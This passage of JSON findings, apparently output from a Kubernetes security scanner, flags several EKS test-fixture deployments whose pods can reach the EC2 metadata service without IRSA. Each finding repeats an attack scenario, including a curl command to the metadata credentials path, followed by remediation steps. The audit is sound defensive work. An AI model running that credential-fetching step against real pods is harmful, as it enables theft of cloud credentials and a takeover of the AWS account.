        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:lp-fixtures:lp-wildcard-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "lp-fixtures/lp-wildcard-app",
      "reason": "no-egress-policy",
      "sa": "lp-fixtures/sa-lp-wildcard",
      "workload": "Deployment/lp-fixtures/lp-wildcard-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:netpol-imds:imds-allow-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "netpol-imds"
    },
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "0.0.0.0/0",
      "pod": "netpol-imds/imds-allow-app",
      "reason": "explicit-allow",
      "sa": "netpol-imds/default",
      "workload": "Deployment/netpol-imds/imds-allow-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:netpol-imds:imds-open-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "netpol-imds"
    },
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "netpol-imds/imds-open-app",
      "reason": "no-egress-policy",
      "sa": "netpol-imds/default",
      "workload": "Deployment/netpol-imds/imds-open-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:pv-hostpath-fixtures:pv-hostpath-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pv-hostpath",
      "namespace": "pv-hostpath-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "pv-hostpath-app",
      "namespace": "pv-hostpath-fixtures",
      "api_group": "apps"
    },
    "namespace": "pv-hostpath-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "pv-hostpath-fixtures/pv-hostpath-app",
      "reason": "no-egress-policy",
      "sa": "pv-hostpath-fixtures/sa-pv-hostpath",
      "workload": "Deployment/pv-hostpath-fixtures/pv-hostpath-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:rbac-fixtures:imp-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "rbac-fixtures/imp-app",
      "reason": "no-egress-policy",
      "sa": "rbac-fixtures/sa-impersonate",
      "workload": "Deployment/rbac-fixtures/imp-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:secrets-bundle:cross-ns-consumer",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "resource": {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle",
      "api_group": "apps"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "secrets-bundle/cross-ns-consumer",
      "reason": "no-egress-policy",
      "sa": "secrets-bundle/cross-ns-reader",
      "workload": "Deployment/secrets-bundle/cross-ns-consumer"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:statusspoof-fixtures:statusspoof-api",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "statusspoof-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "statusspoof-fixtures/statusspoof-api",
      "reason": "no-egress-policy",
      "sa": "statusspoof-fixtures/default",
      "workload": "Deployment/statusspoof-fixtures/statusspoof-api"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
